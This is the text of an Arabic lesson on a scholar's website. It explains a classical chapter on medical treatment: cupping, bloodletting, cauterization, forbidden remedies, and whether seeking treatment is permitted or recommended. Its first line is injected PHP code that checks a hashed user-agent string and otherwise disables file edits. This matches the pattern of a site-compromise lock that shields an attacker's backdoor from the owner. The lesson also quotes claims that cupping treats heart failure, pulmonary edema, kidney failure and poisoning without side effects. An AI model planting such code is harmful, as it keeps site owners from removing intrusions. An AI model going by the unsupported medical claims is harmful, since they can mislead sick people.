if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس السابع عشر - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس السابع عشر

الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين نبينا محمد عليه أفضل الصلاة وأتم التسليم.

أما بعد؛ أيها الأخوة الأكارم، السلام عليكم ورحمة الله وبركاته، وحياكم الله في الدرس السابع عشر من دروس شرح فصول الآداب ومكارم الأخلاق المشروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» رحمه الله وأباحه بحبوحة جنته ووالديه والسامعين ووالديهم.

قال رحمه الله في الفصل السادس عشر:

فَصْلٌ

وَالتَّدَاوِيْ بِالحِجَامَةِ وَالفَصْدِ وَالكَيِّ وَشُرْبِ الأَدْوِيَةِ جَائِزٌ، وَلَا يَجُوزُ التَدَاوِيْ بِمُحَرَّمٍ وَلَا نَجِسٍ، وَقَدْ رُوِيَ عَنْ أَحْمَدَ كَرَاهَةُ الكَيِّ وَقَطْعِ العُرُوْقِ، وَالرِّوَايَةُ الأُوْلَى أَصَحُّ.

هذا الفصل في بيان أحكام التداوي، ختم الفصل السابق ببيان مشروعية التعوذ والتعويذ والرقية الشرعية، وذكرنا طرفًا من الكلام حولها وأنها مشروعة وأنها مندوبة ومرغبٌ فيها، وأن من يرقي الناس قد أحسن إليهم، فدخل في عموم قول النبي صلى الله عليه وسلم: «مَنِ استطاع منكم أنْ ينفعَ أخاهُ فَلْيَنْفَعْهُ»[1] [الحديث رواه الإمام مسلم]، لما ذكر ذلك في الرقية الشرعية وهي مشروعة، ذكر عقب هذا الفصل في أنواع من التداوي بدأها بالحجامة والفصد ثم ثنى بالكي وشرب الأدوية ثم بين حكم التداوي بالمحرم والنجس ثم عاد إلى الكي فذكر عن الإمام أحمد رحمه الله فيها الكراهة وعدم الكراهة.

قال رحمه الله: (وَالتَّدَاوِيْ بِالحِجَامَةِ وَالفَصْدِ وَالكَيِّ وَشُرْبِ الأَدْوِيَةِ جَائِزٌ) أولًا: التداوي بالحجامة والفصد: ما المراد بالحجامة؟ المراد بالحجامة: مأخوذة من قولهم حجم أي مصّ، فهي امتصاص الدم من مواضع من البدن وهي من أفضل الأدوية وقد كانت معروفة منذ القدم، كان العرب وقبل العرب أيضًا يعرفونها ويتداوون بها، وقد جاءت السنة بمشـروعية التداوي بها واحتجم صلى الله عليه وسلم وأعطى الحجام أجرة[2]، إلا أنه بيّن صلى الله عليه وعلى آله وصحبه وسلم أن الحجامة تفسد الصوم، ولهذا قال: «أفطرَ الحاجمُ والمحجومُ»[3]، ومن ثم فلا يجوز للمسلم أن يحتجم في نهار رمضان ولا أن يتبرع بالدم؛ فإن الحجامة تفسد الصوم على الصحيح كما هو المشهور في مذهب الإمام أحمد بل مذهب أهل الحديث قاطبة، وكذلك يُلحق بها في يومنا الحاضر التبرع بالدم، وأما إخراج الدم على سبيل التحليل وقلع السن ونحو ذلك فإنه لا يُفسد الصوم، انقطع الكلام عن الحجامة أو قل وضعُف ثم عاد في هذا العصر على وجهٍ من الكثرة المتكاثرة وأصبحت ثمة عيادات وأطباء يتخصصون فيها؛ وذلك أن الناس سئموا التداوي بالأدوية الكيمائية وترتب على كثيرٍ من هذه الأدوية أضرار ربما جعلت بعض الناس يُحجم عنها فيبحث عن ما يُسمى بالطب البديل أو الطب الطبيعي ومن أشهره الحجامة وكذلك الكي ونحو ذلك، مما يدل على مشـروعيتها ما جاء عن أنس رضي الله عنه أن النبي صلى الله عليه وسلم قال: «إنَّ أفْضَلَ ما تَداوَيْتُمْ به الحِجامَةُ، والْقُسْطُ البَحْرِيُّ»[4] [الحديث متفق عليه]، وعن جابر رضي الله عنه قال: سمعت رسول الله صلى الله عليه وسلم يقول: «إنْ كانَ في شيءٍ مِن أدْوِيَتِكُمْ خَيْرٌ، فَفِي شَرْبَةِ عَسَلٍ، أوْ شَرْطَةِ مِحْجَمٍ، أوْ لَذْعَةٍ مِن نارٍ، وما أُحِبُّ أنْ أكْتَوِيَ»[5] [الحديث متفق عليه]، فهذه الأحاديث تدل على مشروعيتها وفضلها وأنها نافعة بإذن الله تعالى، وأما الفصد: فهو جرح العرق وإسالة الدم منه بقصد العلاج، وفي صحيح مسلم عن جابر بن عبدالله رضي الله عنه وعن أبيه قال: «بَعَثَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ إلى أُبَيِّ بنِ كَعْبٍ طَبِيبًا، فَقَطَعَ منه عِرْقًا، ثُمَّ كَوَاهُ عليه»[6].

هذا ما يتعلق بالحجامة، وفيها مسائل كثيرة لعل أهمها: ما الوقت المختار في الحجامة؟ وردت بعض الأحاديث التي تفيد بأن أفضل الحجامة ما يكون بعد النصف الثاني من الشهر الهجري القمري ويكون ذلك عقبه بقليل، في اليوم السابع عشر أو التاسع عشـر أو الحادي والعشرون، من ذلك ما جاء في حديث أنس بن مالك رضي الله عنه قال: «كان يحتجِمُ في الأخْدَعَيْنِ والكاهِلِ، وكان يحتجِمُ لسبْعَ عشرَةَ، وتسعَ عشرَةَ، وإحدى وعشـرينَ»[7] [الحديث رواه الترمذي وابن ماجة، وصححه الألباني] وعن ابن عباس رضي الله عنهما أن النبي صلى الله عليه وسلم قال: «إنَّ خيرَ ما تحتجمونَ فيه يومَ سبعَ عشرةَ وتسعَ عشرةَ ويومَ إحدى و عشـرينَ»[8] [الحديث رواه الترمذي وحسنه، وصححه الألباني]، قال العلامة ابن القيم رحمه الله بعد أن ذكر الحديثين السابقين: (وهذه الأحاديث موافقة لما أجمع عليه الأطباء أن الحجامة في النصف الثاني وما يليه من الربع الثالث من أرباعه أي أرباع الشهر أنفع من أوله وآخره، وإذا استُعملت عند الحاجة إليها نفعت أي وقت كان، من أول الشهر وآخره، قال الخلال: أخبرني عصمة بن عصام قال: حدثنا حنبل قال: كان أبو عبدالله أحمد بن حنبل يحتجم أي وقتٍ هاج به الدم وأي ساعة كانت)[9] [انتهى كلام ابن القيم في الطب النبوي] وذلك يدل على أمرين:

الأمر الأول: أن يرغب المسلم في الحجامة لتوقي الأمراض فيختار هذا الوقت النبوي، وهو أن تكون حجامته في آخر الشهر، في اليوم السابع عشـر أو التاسع عشـر أو الواحد والعشرين، هذا إذا كان يريدها تطبيقًا للسنة من جهة ودفعًا لأمراض لم يحتج إلى علاجها فيتحين هذا الوقت.

الأمر الثاني: لكن لو مرض واشتد مرضه ونُصح بالحجامة فإنه يحتجم في أي وقت كان، من أول الشهر أو وسطه أو آخره، هذا معنى كلام ابن القيم رحمه الله.

وعن ابن عباس رضي الله عنهما: «أن النبي صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ احْتَجَمَ وهو مُحْرِمٌ في رَأْسِهِ، مِن شَقِيقَةٍ كانَتْ بهِ»[10]، الشقيقة: مرض معروف، صداع يكاد يكون مزمنًا ومزعجًا لمن يُصاب به وقد أُصيب به صلوات ربي وسلامه عليه فاحتجم منه، وهذا يدل على أن الحجامة علاج لمرض الشقيقة الذي أعيا الأطباء، وحديث ابن عباس رواه البخاري، قال الدكتور عبدالرزاق الكيلاني: (وتفيد الحجامة الجافة في تسكين الآلام جميعها إذا طبقت في مكان الألم أو قريباً منه) الحجامة الجافة: معروفة اليوم، ليست بمشرط يأتون بأكواب أو كاسات ويضعونها فيحصل بها عملية الشفط ويحصل شيءٌ من الانتفاع للبدن في الموضع الذي وُضعت عليه لكنه لا يخرج منه دمٌ ولا يُستعمل معه مشرط، هذه الحجامة التي يقول عنها الدكتور: (وتفيد الحجامة الجافة في تسكين الآلام جميعها إذا طبقت في مكان الألم أو قريباً منه وقد سقط النبي صلى الله عليه وسلم على وركه فأصيب بوثي فيه أي وجع فيه فعالجه بالحجامة، يقول الدكتور: كما تفيد في الصداع والآلام القطنية والآلام المفصلية، وألم ذات الجنب،  وتفيد في التهاب القصبات وذات الرئة واحتقانات الكبد والتهاب التأمور، وقصور القلب الخفيف كما تقوم مقام الاستدماء الذاتي لمكافحة أمراض الحساسية كالأكزيما والبشري وغيرها وإذا أجريت في الرأس أفادت كثيرًا من أمراض العين أي العين الباصرة).

أما الحجامة المدماة: هذا النوع الثاني وهي الحجامة المعروفة التي يكون فيها مشـرط أو تشريط لبعض المواضع في البدن كالقفا والظهر والركبتين وأطراف القدمين ونحو ذلك.

يقول الدكتور: (أما الحجامة المدماة فإنها عدا الأمراض التي تفيد فيها الحجامة الجافة تفيد في ارتفاع الضغط الشرياني بخاصة لأنها تكون كالفصادة وكذلك في قصور القلب الشديد ووذمة الرئة الحادة واحتقانات الكبد الشديدة وقصور الكلى الحاد والتسممات وقد استعمل النبي صلى الله عليه وسلم الحجامة لعلاج الوثي ولعلاج الصداع والشقيقة والتسمم واستعملها الصحابة فوق ذلك لتمييع الدم وأظن أنهم كانوا يقصدون به ارتفاع الضغط الشرياني)[11] ا.هـ.

 وهذا كلام طبيب معاصر، ونحن قد علمنا أن هذه الحجامة معروفة منذ القدم وأن النبي صلى الله عليه وسلم احتجم وبيّن أنها من خير الأدوية لكن هذا الطبيب لما طبقها وجد أن فيها نفعًا عظيمًا وليس لها آثار جانبية وهذا هو السر في الطب البديل، أن آثاره الجانبية محدودة وربما تكون معدومة إلا إذا كانت من غير حاذق مثل من يخلط بعض الأعشاب مع بعض بدون خبرة، لا شك أنه قد يكون فيه ضرر فادح وقد تودي بحياته لأنه لا ينبغي للإنسان أن يجتهد بنفسه أو أن يسمع أي خلطة أو أي وصفة ويستعملها لكن إذا سأل أهل الاختصاص وبيّن الحالة المرضية التي يشعر بها فربما نصحوه بشيء من هذه الأعشاب ونحوها مما يُسمى الطب البديل وربما نُصح بالكي وربما نُصح بالحجامة وأعظم من ذلك كله ما جاءت الشريعة به من الرقية الشرعية ومن التداوي بما جاء في الكتاب العزيز كالعسل والحبة السوداء وماء زمزم، فإن هذه كلها ثابتة في الكتاب والسنة ثبوتًا يقينيًا قطعيًا لا مجال للتجربة فيها، ولهذا لما جاء رجل يشكو بطن أخيه للنبي صلى الله عليه وسلم أنه استطلق، قال: اسقه عسلًا، فسقاه وزاد بطنه، فجاء وسأل مرة ثانية، قال: اسقه عسلًا، زاد، ففي الثالثة قال: اسقه عسلًا، قال: يا رسول الله زاد، قال: صدق الله وكذب بطن أخيك، اسقه عسلًا، فسقاه فشُفي في الرابعة»[12] إذن نقول: العسل علاج لكثير من الأوجاع والأمراض والحبة السوداء، أخبر صلى الله عليه وسلم أنها «شِفاءٌ مِن كُلِّ داءٍ، إلَّا السَّامَ»[13] إلا الموت، وكذلك ماء زمزم، جاء في الحديث: «أنه شفاء من كل سقم»[14] لكن مع اليقين، أما اللي يأخذ هذه الأمور بالتجربة لا شك أنه يوكل إلى ظنه، نقول: شيء أخبر به الله أو رسوله صلى الله عليه وسلم ما تخضعه إلى التجربة، التجربة لما اكتشفه البشر ربما يكتشفون اليوم علاج وبعد مدة يمنعونه ويسحبونه من الأسواق لأنه تبين ضرره، لكن ما جاء في الكتاب العزيز وفي السنة المطهرة إذا صحت قد تجاوز التجربة وتجاوز أن يأخذه الإنسان على سبيل أنه يقول: إن نفع ولا ما ضر، نقول: لا، بل هو نافعٌ نافعٌ نافع، إذن هذا ما يتعلق بالحجامة.

أما الكي فعن الإمام أحمد رحمه الله روايتان فيه كما ذكرها المؤلف: الجواز والكراهة، وسبب ذلك أن الأحاديث الواردة في الكي فيها نوعٌ من التعارض لكن انظر واسمع كلام ابن القيم رحمه الله كيف وُفق للجمع بين هذه الأحاديث كلها، قال ابن القيم رحمه الله ملخصًا لهذه الأحاديث: (تضمنت أحاديث الكي: فعله أي فعل النبي صلى الله عليه وسلم، وعدم محبته له، والثناء على من تركه، والنهي عنه) إذن هذه عندنا أنواع من الأحاديث: منها أحاديث تُفيد أنه صلى الله عليه وسلم فعل الكي، وأحاديث: أنه لا يحبه، وأحاديث تفيد كراهته والثناء على من تركه، وأحاديث تنهى عنه «وأَنْهَى أُمَّتي عَنِ الكَيِّ»[15]، قال رحمه الله: (ولا تعارض بينها بحمد الله تعالى) إذن هذه الأحاديث، يقول: ظاهرها التعارض لكن في الحقيقة لا تعارض، كيف؟ قال: (لأن فعله يدل على جوازه يعني فعل النبي يدل على أنه جائز، وعدم محبته لا يدل على المنع منه) إذن فعله فدل على الجواز، ما أحبه لم يمنع منه لكنه لم يحبه (والثناء على تركه يدل على أن تركه أولى وأفضل، والنهي عنه على سبيل الكراهة) كراهة التنزيه، هذا جمع ابن القيم أو تُحمل أحاديث النهي عن الكي الذي لا يُحتاج إليه كمن يفعله خشيةً من حصول المرض، نقول: أنت تكوي لماذا؟ قال: أنا أخشى المرض، أنا مهدد بمرضٍ ما، نقول: سبحان الله، سبّق يعني بالكي، ما وجدت غير الكي، يمكن بالحمية، يمكن يعني شيء من هذا، أما الكي وأنت ما بعدك اُصبت بمرض فلا تبادر إليه، أقل أحواله حينئذٍ الكراهة.

قال رحمه الله عقب ذلك: (وَلَا يَجُوزُ التَدَاوِيْ بِمُحَرَّمٍ وَلَا نَجِسٍ) أما المحرم فقد ورد فيه حديث، وهو قول ابن مسعود رضي الله عنه: «إنَّ اللهَ لم يجعلْ شفاءَكم فيما حَرَّم عليكم»[16]، هذا موقوف على ابن مسعود وقد علقه البخاري في صحيحه، وورد مثله مرفوعًا عند ابن حبان والبيهقي، وفي سنده حسان بن مخارق وهو مجهول الحال ويشهد له أثر ابن مسعود، وعن طارق بن سويد رضي الله عنه أنه سأل النبي صلى الله عليه وسلم عن الخمر يصفها للدواء، فقال النبي صلى الله عليه وسلم: «إنَّها ليسَت بدواءٍ ولَكنَّها داءٌ»[17] [الحديث رواه الإمام مسلم]، فدلت هذه النصوص على تحريم التداوي بالمحرم، وأما التداوي بالنجس فألحقه جمعٌ من أهل العلم بالمحرم بناءً على أن النجس عندهم محرم، فاستدل المانعون من التداوي بالنجس بأحاديث النهي عن التداوي بالخمر وهذا على القول بأن الخمر نجسة العين، واستدلوا أيضًا بأحاديث النهي عن التداوي بالمحرم، وذهب بعض أهل العلم إلى جواز التداوي بالنجس بثلاثة شروط:

أولها: ألا يوجد دواء يقوم مقامه.

الثاني: أن يصفه طبيبٌ مسلمٌ عدل.

الثالث: أن يتعين ذلك النجس دواءً.

هذا قول بعض أهل العلم، واستدلوا بقوله تعالى: {وَقَدْ فَصَّلَ لَكُمْ مَا حَرَّمَ عَلَيْكُمْ إِلَّا مَا اضْطُرِرْتُمْ إِلَيْهِ} [الأنعام: ١١٩] قال العز بن عبدالسلام: جاز التداوي بالنجاسات إذا لم يجد طاهرًا يقوم مقامها؛ لأن مصلحة العافية والسلامة أكمل من مصلحة اجتناب النجاسة، وهذا قولٌ له وجاهته لكن ينبغي أن يُرجع فيه لأهل العلم الأكابر، بمعنى أن الإنسان إذا اضطر في مرضٍ ولم يجدوا له إلا دواءً يشتمل على شيء من النجاسة فإنه يستفتي أهل العلم ولا يُقدم على أخذ هذا الدواء إلا بفتوى خاصة.

بقي عندنا التداوي بالمباح، وهو يمكن أكثر ما يقع الناس فيه اليوم وهو أن يتداوى الناس لا برقية ولا بحجامة ولا بكي وإنما يستعملون أدويةً مباحة كجُل العقاقير الطبية اليوم، فهذا فيه مبحث طويل وكلام مفصل لأهل العلم، ومن أهل العلم من قال إن الأحكام التكليفية الخمسة كلها ترد في التداوي عمومًا، لكنا نقول: أشهر الأقوال في هذه المسألة ثلاثة، وأشهرها اثنان من هذه الثلاثة:

الأول: أنه مباح، أن التداوي بمباح مباح وهو مذهب الجمهور من الحنفية والمالكية والحنابلة، وإن كان الحنابلة رحمهم الله اشتهر عندهم القول بأنه مباح وتركه أولى، واستدلوا بحديث أبي هريرة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «ما أنزلَ اللهُ داءً إلا أنزلَ لهُ دواءً»[18] هذا الحديث يدل على إباحة التداوي، ما يدل على الأمر به ولا استحبابه ولا إيجابه، واستدلوا أيضًا بحديث جابر رضي الله عنه عن النبي صلى الله عليه وسلم أنه قال: «لِكُلِّ داءٍ دَواءٌ، فإذا أُصِيبَ دَواءُ الدَّاءِ بَرَأَ بإذْنِ اللهِ عزَّ وجلَّ»[19] قالوا: مثله يدل على إباحة التداوي، وعن أبي هريرة رضي الله عنه أنه سمع رسول الله صلى الله عليه وسلم يقول: «في الحبَّةِ السوداءِ شِفاءٌ من كلِّ داءٍ، إلَّا السَّامَ»[20]، والسام الموت، والغريب أنهم احتجوا بهذا الحديث مع أن هذا ينبغي أن يكون في غير محل النزاع لكنهم أوردوه رحمهم الله من ضمن أدلة الإباحة، نقول: هذا الحديث فيه الحبة السوداء، وما ورد في الحبة السوداء والعسل ونحوه، نقول: هذا خارج عن الخلاف لأن هذا دواء نبوي، وعن سعيد بن زيد رضي الله عنه عن النبي صلى الله عليه وسلم قال: «الكَمْأَةُ مِنَ المَنِّ، وماؤُها شِفاءٌ لِلْعَيْنِ»[21]، هذا أيضًا مثله، جاء في الحديث الصحيح أن الكمأة وهي المشهورة عند الناس اليوم بالفقع، هذا ماؤه دواء للعين لكن أين الأطباء الذين يستخلصون هذا ويداوون به مرضى العيون، يحتاج إلى بحث وتأمل، إذن هذا أيضًا جاء فيه حديث وما دام أنه جاء فيه حديث لا ينبغي أن يورد ضمن الخلاف، كذلك حديث أم المؤمنين عائشة رضي الله عنه قالت: سمعت رسول الله صلى الله عليه وسلم يقول: «التَّلْبينةُ مَجَمَّةٌ لِفُؤادِ المريضِ، تُذْهِبُ ببعضِ الحُزنِ»[22]، وحديث عوف بن مالك رضي الله عنه قال: «كُنَّا نَرْقِي في الجَاهِلِيَّةِ، فَقُلْنَا: يا رَسولَ اللهِ، كيفَ تَرَى في ذلكَ؟ فَقالَ: اعْرِضُوا عَلَيَّ رُقَاكُمْ، لا بَأْسَ بالرُّقَى ما لَمْ يَكُنْ فيه شِرْكٌ»[23] وهذا دليل على أن الرُقى معروفة في الجاهلية وقبل الإسلام لكن النبي صلى الله عليه وسلم أقرهم عليها إذا سلمت من الشـرك، وهذا يدل أيضًا على الاجتهاد في الرقية وأنها ليست محددة بأحاديث من النبي صلى الله عليه وسلم، نعم، القرآن كله شفاء لكن قد يأتي الطبيب الشـرعي أو المُعالج الشـرعي بالرقية بصفات ما وردت في السنة لكنها ما تخالف السنة وليس فيها شيء من البدعة ولا الخرافة ولا الشرك، فيُقال لمثل هذا لا حرج عليك، ولهذا بعض أنواع الرُقى اليوم المعروفة أقرها أهل العلم للرقاة مع أنها ما في نص على ورود ذلك عن النبي صلى الله عليه وسلم فأدخلوها في عموم قوله صلى الله عليه وسلم: «اعْرِضُوا عَلَيَّ رُقَاكُمْ، لا بَأْسَ بالرُّقَى ما لَمْ يَكُنْ فيه شِرْكٌ».

القول الثاني: قالوا باستحباب التداوي، وهو مذهب الشافعية ونسبه النووي رحمه الله لجمهور السلف وعامة الخلف، وهو اختيار سماحة شيخنا ابن باز رحمه الله، يقولون باستحباب التداوي ويستدلون بالأدلة السابقة لكنهم يحملونها على الاستحباب، كما يستدلون أيضًا بحديث أسامة بن شريك رضي الله عنه قال: «قالَتِ الأعرابُ: يا رسولَ اللهِ ألا نَتداوى قالَ :نعَم يا عبادَ اللهِ تداوَوا فإنَّ اللهَ لم يضَعْ داءً إلَّا وضعَ لَهُ شفاءً -أو دواءً- إلَّا داءً واحدًا فَقالوا: يا رسولَ اللهِ وما هوَ قالَ: الهرمُ»[24]، وعن جابر بن عبدالله رضي الله عنه مرفوعًا: «مَنِ استطاع منكم أنْ ينفعَ أخاهُ فَلْيَنْفَعْهُ»[25]، وحديث أبي سعيد في شرب العسل المتقدم، كذلك أحاديث «الحبَّةِ السوداءِ شِفاءٌ من كلِّ داءٍ، إلَّا السَّامَ»، وكذلك احتجام النبي صلى الله عليه وسلم، نقول: ثمة أحاديث هنا خاصة في الحجامة تقدمت، وكذلك في الحبة السوداء وفي العسل، هذا ورد فيه نصوص لكن التداوي بأمور مباحة، نقول: يدور الحكم فيها بين الإباحة والاستحباب، وهذا قول ينبغي أن يُشهر؛ لأنه اشتهر عند بعض الناس تجريم وتأثيم من لم يتعالج، قد يُصاب بمرض السرطان، يقولون له الآن ما فيه كيماوي، يقول لهم: لا أريد الكيماوي، هل يأثم؟ نقول: لا يأثم ولا وجه لتأثيمه لأنه ما ترك الأسباب الشرعية ولا أسباب الدواء كلها، ويقول: أنا أستعمل أدوية منها: أولًا اللجأ إلى الله والدعاء وهو أعظم الأسباب وأنفعها وأجلها، وأستعمل الرقية الشرعية، وأستعمل بعض الحمية ونحوها، وأتصدق وأحسن، والله يحب المتصدقين، قد رُوي: «داوُوا مَرْضاكم بالصَّدَقةِ»[26] فهو جمع أسباب، فليس السبب فقط في هذا الكيماوي الذي يأخذه، ولهذا كم امتنع من الناس من أخذ الكيماوي، مثال هذا وهو في أشد الأمراض فتكًا في الناس، فكيف بما سواه، نقول: لا يُنكر على من لم يتداوى ولا يُقال له: تارك الأسباب، هو ترك سببًا وفعل أسباب عدة، ومن أهل العلم من قال: إن تركه أفضل واحتجوا بحديث السبعين، وفيه أن النبي صلى الله عليه وسلم ذكر أنه سيدخل الجنة سبعون ألف من غير حساب ولا عذاب، ثم دخل فخاض الناس وتداوكوا في من هم، ثم خرج صلى الله عليه وسلم فأخبر «أنهمُ الَّذينَ لا يَسترْقُونَ ولا يكتَوُونَ ولا يتطيَّرُونَ وعلى ربِّهم يتوكَّلونَ»[27]، ففهم بعض أهل العلم أن هذا فيه كراهة فعل هذه الأسباب وغيرها، نقول: الصحيح أن الكراهة هنا خاصة بهذه الأسباب وهي طلب الرقية، الرقية مباحة ومستحية بذلها وإذا احتاجها المريض فلا حرج عليه ولا يأثم ولا يُقال إنه فعل المكروه لكنه إذا عُرضت عليه أو قُرئ عليه بدون طلب لا شك أنها أطيب وأكمل لكن فعلها مشروع، ولهذا الحديث الصحيح: «لا يَسترْقُونَ» وأما لا يرقون فلفظة شاذة كما نبه على ذلك الحُفاظ، ولهذا نقول: لا يسترقي: يعني لا يطلب الرقية لكن لو احتاج، نقول: طلب الرقية أهون وأيسر من استعمال أدوية قد تضره ولا تنفعه، كذلك الاكتواء، مر بنا أنه فيه نهي، فإذا تركه فلا حرج وهو أولى أنه يتداوى بغيره، يكون هو آخر الطب الكي، وكذلك عدم التطير وضابط هذا وجامعه أنهم على ربهم يتوكلون، فلا يُمنع من التداوي بهذا الحديث ولا يُقال لمن امتنع عن الدواء إنك آثمٌ أو إنك قاتل لنفسك أو مودٍ بحياتك أو إنك ملقٍ بنفسك إلى التهلكة، كل هذا الكلام ليس له أصلٌ في الشرع، لكنا نقول لهذا المريض الذي لا يتداوى بالعقاقير الطبية ونحوها، لو زاد المرض، هل تندم وتتأسف وتأكل نفسك كما يُقال؟ تقول: ليتني تداويت، قال: والله ممكن، نقول: إذن تداوى؛ لأن دواؤك الآن هو دائرٌ بين الإباحة والاستحباب، وندمك وقلقك وضيقك وحرجك ولوم نفسك ونحو ذلك مما يصير لك إذا زاد مرضك هذا يعني أمرٌ محرم، ولهذا نقول: إذا كان الإنسان ضعيف التوكل وربما لو اشتد عليه المرض وإلا جاءه الناس وكثّروا عليه الكلام يلوم نفسه وقد تطور المرض وزاد ويحسب أنه أهلك نفسه، فنقول: من البداية عالج ولا حرج، العلاج بالمباح مباح، وشيخنا سماحة الشيخ ابن باز رحمه الله يرجح القول بالاستحباب، والنووي رحمه الله يرى أنه قول عامة الخلف وجمهور السلف.

أسأل الله بمنه وكرمه وجوده وإحسانه أن يشفي مرضى المسلمين، اللهم يا حي يا قيوم يا ذا الجلال والإكرام، إنا نسألك بأنا نشهد بأنك أنت الله لا إله إلا أنت الأحد الفرد الصمد، الذي لم يلد ولم يولد ولم يكن له كفوًا أحد أن تشفينا وتشفي مرضى المسلمين، اللهم أشفِ مرضى المسلمين، اللهم أشفِ مرضى المسلمين، وأنزل العافية في أجسادهم وادفع هذا البلاء عن عامة عبادك الموحدين وعبادك المسلمين، يا رب العالمين.

اللهم صلّ وسلم وبارك وأكرم على خيرة خلقك وأفضل أنبيائك ورسلك نبينا محمد وعلى آله وصحبه أجمعين، والسلام عليكم ورحمة الله وبركاته.

¯¯¯


[1] أخرجه مسلم (2199).

[2] أخرجه البخاري (5691)، ومسلم (1202).

[3] أخرجه أبو داود (2367)، وابن ماجه (1680)، وأحمد (22503)، والحديث صححه ابن حزم في المحلى (6/204)، وصحح إسناده النووي في المجموع (6/349)، وصححه الألباني في صحيح ابن ماجه (1371).

[4] أخرجه مسلم (1577).

[5] أخرجه البخاري (5683)، ومسلم (2205).

[6] أخرجه مسلم (2207).

[7] أخرجه أبو داود (3860)، والترمذي (2051) واللفظ له، وابن ماجه (3483)، وأحمد (12191)، والحديث صححه السيوطي في الجامع الصغير (6989)، وصححه الألباني في تخريج مشكاة المصابيح (4472).

[8] أخرجه الترمذي (2053)، وأحمد في (1/354)، والحاكم في (4/453) باختلاف يسير، والحديث صححه الألباني في صحيح الجامع (2066).

[9] الطب النبوي (174-175).

[10] أخرجه البخاري (5701) معلقًا، ومسلم (1202) مختصرًا.

[11] الحقائق الطبية في الإسلام (284-285).

[12] أخرجه البخاري (5684) عن أبي سعيد الخدري رَضِيَ اللهُ عَنْهُ قال: «أنَّ رَجُلًا أتَى النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فقالَ: أخِي يَشْتَكِي بَطْنَهُ، فقالَ: اسْقِهِ عَسَلًا، ثُمَّ أتَى الثَّانِيَةَ، فقالَ: اسْقِهِ عَسَلًا، ثُمَّ أتاهُ الثَّالِثَةَ، فقالَ: اسْقِهِ عَسَلًا، ثُمَّ أتاهُ فقالَ: قدْ فَعَلْتُ؟ فقالَ: صَدَقَ اللهُ، وكَذَبَ بَطْنُ أخِيكَ، اسْقِهِ عَسَلًا، فَسَقاهُ فَبَرَأَ».

[13] أخرجه البخاري (5688).

[14] ضعفه الألباني في ضعيف الجامع (4971) بلفظ: «ماءُ زمزمَ شفاءٌ مِنْ كُلِّ داءٍ».

[15] أخرجه البخاري (5680).

[16] أخرجه الطحاوي في شرح معاني الآثار (652)، والطبراني (9/403) (9716)، والبيهقي (20172) باختلاف يسير، وصححه الألباني في غاية المرام (67).

[17] أخرجه مسلم (1984)، والترمذي (2046)، وأحمد (18862).

[18] أخرجه النسائي في السنن الكبرى (6863)، وأحمد (3922) مطولًا، وابن ماجه (3438)، والحديث صححه ابن عبدالبر في التمهيد (5/258)، وأيضًا الألباني في صحيح ابن ماجة (2790).

[19] أخرجه مسلم (2204)، والنسائي في السنن الكبرى (7556) واللفظ له، وأحمد (14597).

[20] أخرجه البخاري (5688)، ومسلم (2215).

[21] أخرجه البخاري (4478)، ومسلم (2049).

[22] أخرجه البخاري (5417)، ومسلم (2216).

[23] أخرجه مسلم (2200).

[24] أخرجه أبو داود (3855)، الترمذي (2038) واللفظ له، والنسائي في السنن الكبرى (7553)، وابن ماجه (3436)، وأحمد (18454)، والحديث صححه الألباني في صحيح الترمذي (2038).

[25] أخرجه مسلم (2199).

[26] أخرجه أبو داود في مراسيله (105)، وابن الجوزي في العلل المتناهية (816) مطولاً، وحسنه لغيره الألباني في صحيح الترغيب (744).

([27]) أخرجه البخاري (6541)، ومسلم (220).